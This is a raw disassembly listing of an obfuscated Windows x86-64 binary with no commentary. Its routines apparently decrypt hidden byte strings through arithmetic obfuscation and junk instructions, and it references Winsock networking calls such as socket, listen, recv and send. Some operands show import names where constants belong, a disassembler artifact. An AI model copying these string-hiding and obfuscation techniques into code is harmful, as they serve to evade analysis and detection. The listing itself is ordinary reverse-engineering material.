jmp 0x14008104d
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
jmp 0x140081021
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
jmp 0x140080fee
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x24
jmp 0x140080feb
movzx r11d, r10b
lea edx, [r11 + 0x48]
mov ecx, 4
jmp 0x140080f9a
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400805b3
lea edx, [r10 + 0x60]
mov ecx, 0x30
jmp 0x140080f6e
movzx r11d, r10b
lea ecx, [r11 - 0x14]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x74
jmp 0x140080f38
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x140080bf1
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, r9b
mov ecx, gethostname
jmp 0x140080a94
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140080c2b
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x320]
add rax, r8
add r10, rax
inc r10
jmp 0x1400805b3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140080c53
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x140080fee
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140080c7b
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
jmp 0x140080feb
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140080ca7
movzx r11d, r10b
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
jmp 0x140080fab
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140080a9f
lea edx, [r10 - 0x50]
mov ecx, 0x18
jmp 0x140080f6e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140080cf2
movzx r11d, r10b
lea edx, [r11 + 0x46]
movzx eax, dl
and al, r9b
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140080f38
cmp rbx, rcx
jne 0x140080d1c
lea ecx, [r10 + 0x2e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x42
dec r10
inc r10
jmp 0x1400805b3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140080d48
lea edx, [r10 - 0x76]
movzx eax, dl
and al, r9b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140080fee
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140080d74
lea edx, [r10 - 2]
movzx eax, dl
and al, r9b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140081021
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140080a56
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4a
movzx eax, byte [rbp + r10 + 0x320]
add rax, r8
add r10, rax
inc r10
jmp 0x1400805b3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140080de4
lea ecx, [r10 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
movzx eax, byte [rbp + r10 + 0x320]
add rax, r8
add r10, rax
inc r10
jmp 0x1400805b3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140080e10
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140081021
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140080e3c
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140080feb
cmp rbx, rcx
jne 0x140080e66
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
dec r10
inc r10
jmp 0x1400805b3
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140080a12
movzx r11d, r10b
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140080f38
movzx r11d, r10b
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x320]
sub cl, al
add cl, 8
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140080fab
lea ecx, [r10 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rcx - 0x1c]
jmp 0x140081021
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x56
jmp 0x140080fee
lea edx, [r10 + 0x1e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400805b3
lea edx, [r10 - 0x56]
mov ecx, 0x2d
jmp 0x140080f6e
movzx r11d, r10b
lea ecx, [r11 + 0x36]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7a
add r11b, 0x56
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x5a
add r11b, r9b
mov byte [rbp + r10 + 0x320], r11b
inc r8
dec r10
inc r10
jmp 0x1400805b3
lea edx, [r10 - 0x26]
mov ecx, 5
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x1400805b3
movzx r11d, r10b
lea edx, [r11 - 0xe]
mov ecx, 0x31
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
sub r11b, 0x36
movzx eax, r11b
and al, r9b
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, r11b
add cl, dil
add cl, r9b
mov byte [rbp + r10 + 0x320], cl
jmp 0x140080feb
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x72
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400805b3
lea rcx, [r10 + r15]
movzx r9d, r11b
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1a
lea edx, [r10 + 0x3e]
movzx eax, r9b
and al, dl
mov ecx, 0x27
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x320], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 + 0x78]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x48
add r9b, cl
mov byte [rbp + r10 + 0x320], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x320]
add rax, r8
add r10, rax
inc r10
jmp 0x1400805b3
lea rcx, [r10 + r14]
movzx eax, cl
and al, r11b
mov edx, 0x1f
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x320]
add rax, r8
add r10, rax
inc r10
jmp 0x1400805b3
add r10b, 0x22
movzx eax, r9b
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400805b0
sub r10b, 0x52
movzx eax, r9b
and al, r10b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400805a0
lea rcx, [rbp + 0x1728218]
jmp 0x140081122
lea rcx, [rbp + 0x1574452]
jmp 0x140081122
lea rcx, [rbp + 0x320]
lea rdx, [0x1401ed243]
call fcn.140039930
mov byte [rbp + 0x570], 0x19
mov byte [rbp + 0x571], 0x47
mov byte [rbp + 0x572], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x573], WSAStartup
mov byte [rbp + 0x574], 0x46
mov byte [rbp + 0x575], WSAStartup
mov byte [rbp + 0x576], 0x3c
mov byte [rbp + 0x577], reloc.WS2_32.dll_select
mov byte [rbp + 0x578], 0x4f
mov byte [rbp + 0x579], 0x4b
mov byte [rbp + 0x57a], 0x4e
mov byte [rbp + 0x57b], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x57c], 0x48
mov byte [rbp + 0x57d], WSAGetLastError
mov byte [rbp + 0x57e], 0x68
mov byte [rbp + 0x57f], 0x27
mov byte [rbp + 0x580], 4
mov byte [rbp + 0x581], 0x50
mov byte [rbp + 0x582], 0x58
mov byte [rbp + 0x583], 0xc3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x584], xmm0
mov qword [rbp + 0x594], rax
mov dword [rbp + 0x59c], eax
movabs rsi, 0x4bf34314610c123
movabs r15, 0x213a6d58ea7547f5
movabs r14, 0xe3d9c93d2324369
movzx edi, byte [rsp + 0x50]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
nop word [rax + rax]
xor r10d, r10d
cmp r10, 0x30
jae 0x140081c03
movzx r9d, byte [rbp + r10 + 0x570]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x140081bf7
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140081260
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0xb
jmp 0x140081290
je 0x140081b86
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140081b02
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140081ad0
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140081a89
nop dword [rax]
cmp r8, r10
ja 0x140081beb
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400812c1
lea ecx, [r10 - 0x21]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x19
jmp 0x1400812f0
je 0x140081a6a
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140081a49
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140081a2e
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140081a01
nop
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140081618
nop dword [rax]
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x1400815f9
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400815d5
lea rcx, [r8 + 0x5a]
cmp rbx, rcx
je 0x1400815b4
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140081595
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140081576
mov rbx, rcx
lea r8, [rcx + 0xa]
lea rax, [r8 + 0x400]
cmp rcx, rax
jb 0x140081bce
lea rax, [r8 + 0x42]
cmp rcx, rax
jb 0x140081bb1
lea rcx, [r8 + 0xa]
cmp rbx, rcx
jb 0x140081452
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140081437
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14008141c
mov rbx, rcx
lea r8, [rcx + 0x400]
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x140081549
lea rax, [r8 + 0x5a]
cmp rcx, rax
ja 0x14008152e
lea rax, [r8 + 0x400]
cmp rcx, rax
ja 0x140081513
lea rax, [r8 + 0x42]
cmp rcx, rax
ja 0x1400814f8
lea rax, [r8 + 0xa]
cmp rcx, rax
ja 0x1400814dd
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x1400814b8
lea rcx, [r8 + 3]
cmp rbx, rcx
ja 0x140081490
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14008146d
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140081300
mov rbx, rcx
lea r8, [rcx + 0x40]
jmp 0x140081300
lea ecx, [r10 + 1]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 7
jmp 0x1400812f0
lea ecx, [r10 - 0x45]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1d
jmp 0x140081290
lea ecx, [r10 + 0x75]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x33
jmp 0x140081226
lea edx, [r10 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x140081aa3
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140081213
lea edx, [r10 + 0x6c]
movzx eax, dl
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140081213
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x140081ae6
lea ecx, [r10 - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
jmp 0x140081ae9
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
jmp 0x140081b1b
lea ecx, [r10 + 0xe]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x62
jmp 0x140081b43
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
movzx eax, byte [rbp + r10 + 0x570]
add rax, r8
add r10, rax
inc r10
jmp 0x140081213
lea edx, [r10 + 0x22]
movzx eax, dl
and al, r9b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140081ae6
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 4
movzx r11d, r10b
jmp 0x1400819b7
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1a
dec r10
inc r10
jmp 0x140081213
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
inc r8
dec r10
inc r10
jmp 0x140081213
movzx r11d, r10b
lea ecx, [r11 + 0xa]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x46
jmp 0x140081aa3
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400816cb
lea ecx, [r10 + 0x23]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0xb
lea rax, [r8 + rbx]
cmp rax, 0x2a
je 0x1400819de
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x1400817e4
lea ecx, [r10 + 0x57]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x61
cmp rbx, 0x10
jae 0x140081995
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x140081866
lea ecx, [r10 + 0x36]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7a
cmp r8, 0x1000
jb 0x140081985
movzx r11d, r10b
lea ecx, [r11 - 0xe]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x3c]
jmp 0x140081aa3
jne 0x1400816fe
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x32
movzx eax, byte [rbp + r10 + 0x570]
add rax, r8
add r10, rax
inc r10
jmp 0x140081213
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140081726
lea ecx, [r10 + 0x4a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 6
jmp 0x140081b1b
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140081752
lea edx, [r10 - 0x2a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140081ae6
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140081782
movzx r11d, r10b
lea edx, [r11 + 0x1c]
movzx eax, dl
and al, r9b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400819b7
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400817b4
lea edx, [r10 + 0x62]
movzx eax, dl
and al, r9b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140081213
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008163b
movzx r11d, r10b
lea edx, [r11 - 0x12]
movzx eax, dl
and al, r9b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140081aa3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140081810
movzx r11d, r10b
lea ecx, [r11 - 0x63]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4b
jmp 0x140081aa3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008183e
lea ecx, [r10 + 0x29]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1f
dec r10
inc r10
jmp 0x140081213
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008166c
lea ecx, [r10 - 5]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x23
jmp 0x140081ae9
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400818a0
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x64
movzx eax, byte [rbp + r10 + 0x570]
add rax, r8
add r10, rax
inc r10
jmp 0x140081213
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400818c8
lea ecx, [r10 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
jmp 0x140081b1b
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400818f0
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xc
jmp 0x140081ae6
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140081920
movzx r11d, r10b
lea edx, [r11 - 0x26]
movzx eax, dl
and al, r9b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400819b7
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140081955
lea edx, [r10 + 0x66]
movzx eax, dl
and al, r9b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140081213
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008169c
movzx r11d, r10b
lea edx, [r11 - 0x54]
movzx eax, dl
and al, r9b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140081aa3
mov byte [rbp + r10 + 0x570], dil
inc r10
jmp 0x140081213
movzx r11d, r10b
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x570]
sub cl, al
add cl, 0x3c
lea edi, [rcx + rcx]
add dil, dl
add r11b, 0x5b
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x7d
add r11b, dil
add r11b, r9b
mov byte [rbp + r10 + 0x570], r11b
jmp 0x140081ae6
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x570]
lea edi, [r9 + rcx]
sub dil, 0x72
jmp 0x140081b1b
lea ecx, [r10 + 0x55]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x53
movzx eax, byte [rbp + r10 + 0x570]
add rax, r8
add r10, rax
inc r10
jmp 0x140081213
lea ecx, [r10 + 0x3d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x55
jmp 0x140081ae6
lea ecx, [r10 - 0x4f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x29
dec r10
inc r10
jmp 0x140081213
movzx r11d, r10b
lea ecx, [r11 + 0x25]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 3
jmp 0x140081aa3
movzx r11d, r10b
lea ecx, [r11 - 0x67]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2f
add r11b, 0x15
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
add r11b, 0x6d
add r11b, r9b
mov byte [rbp + r10 + 0x570], r11b
inc r8
dec r10
inc r10
jmp 0x140081213
lea ecx, [r10 - 0x7f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x79
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140081213
lea rcx, [r10 + r15]
movzx r9d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4d
lea ecx, [r10 - 0x5f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x67
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x570], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x5c
add cl, r9b
mov byte [rbp + r10 + 0x570], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x570]
add rax, r8
add r10, rax
inc r10
jmp 0x140081213
lea rcx, [r10 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 0x21
movzx eax, byte [rbp + r10 + 0x570]
add rax, r8
add r10, rax
inc r10
jmp 0x140081213
add r10b, 0x2f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x49
jmp 0x140081210
sub r10b, 0x17
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x5f
jmp 0x1400811f6
lea rcx, [rbp + 0x141c8f4]
jmp 0x140081c0a
lea rcx, [rbp + 0x528a17]
jmp 0x140081c0a
lea rcx, [rbp + 0x570]
lea rdx, [0x1401ed244]
call fcn.140039930
mov byte [rbp + 0x5a0], 0x75
mov byte [rbp + 0x5a1], 0xaf
mov byte [rbp + 0x5a2], 0x53
mov byte [rbp + 0x5a3], 0x51
mov byte [rbp + 0x5a4], 0xa8
mov byte [rbp + 0x5a5], 0x50
mov byte [rbp + 0x5a6], socket
mov byte [rbp + 0x5a7], 0x45
mov byte [rbp + 0x5a8], 0x49
mov byte [rbp + 0x5a9], 0xb0
mov byte [rbp + 0x5aa], 0xb4
mov byte [rbp + 0x5ab], 0x49
mov byte [rbp + 0x5ac], 0xb3
mov byte [rbp + 0x5ad], 0xba
mov byte [rbp + 0x5ae], select
mov byte [rbp + 0x5af], WSAGetLastError
mov byte [rbp + 0x5b0], 0xb9
mov byte [rbp + 0x5b1], 0xbd
mov byte [rbp + 0x5b2], 0xbe
mov byte [rbp + 0x5b3], 0x46
mov byte [rbp + 0x5b4], 0x40
mov byte [rbp + 0x5b5], 5
mov byte [rbp + 0x5b6], 0x64
mov byte [rbp + 0x5b7], 0xb8
mov byte [rbp + 0x5b8], 0xd0
mov byte [rbp + 0x5b9], 0x59
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5ba], xmm0
mov dword [rbp + 0x5ca], eax
mov byte [rbp + 0x5ce], al
movabs r14, 0x6fc57fdcaf64bda8
movabs r15, 0x4f507f960e2e38f8
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x2f
jae 0x1400828c2
movzx r9d, byte [rbp + r10 + 0x5a0]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x1400828b6
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140081d60
lea rcx, [r10 + r14]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
add dil, 0x68
jmp 0x140081da0
je 0x140082839
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140082803
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400827be
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140082799
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140082752
nop word [rax + rax]
cmp r8, r10
ja 0x1400828aa
lea rax, [r8 + 0x40]
cmp rbx, rax
jae 0x140081dce
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
jmp 0x140081e10
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008272f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008270d
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400826f1
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140082660
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140082633
nop
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140082360
nop dword [rax]
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140082341
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008231a
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14008230c
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400822fa
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x1400822df
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x1400822c4
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x1400822a5
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140082286
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140082255
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140081e20
lea rbx, [r8 + 2]
lea r8, [rbx + 0x40]
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14008288a
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14008286a
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14008200a
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140081fef
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140081fd0
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140082203
lea rcx, [r8 + 0xa]
cmp rbx, rcx
jb 0x1400821b3
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140082175
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14008214f
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140081e20
mov rbx, rcx
lea r8, [rcx + 0x20]
lea rax, [r8 + 0x40]
cmp rcx, rax
ja 0x140082122
lea rax, [r8 + 1]
cmp rcx, rax
ja 0x140082107
lea rax, [r8 + 0x42]
cmp rcx, rax
ja 0x1400820e4
lea rax, [r8 + 2]
cmp rcx, rax
ja 0x1400820c5
lea rax, [r8 + 0x64]
cmp rcx, rax
ja 0x1400820b0
lea rax, [r8 + 3]
cmp rcx, rax
ja 0x140082091
lea rax, [r8 + 0x80]
cmp rcx, rax
ja 0x140082070
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x140082048
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x140082025
lea rax, [r8 + 0x61]
cmp rcx, rax
ja 0x140081e20
lea rbx, [r8 + 8]
lea r8, [rbx + 0xa]
jmp 0x140081e20
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140081e10
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x58
jmp 0x140081da0
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r9b
add al, al
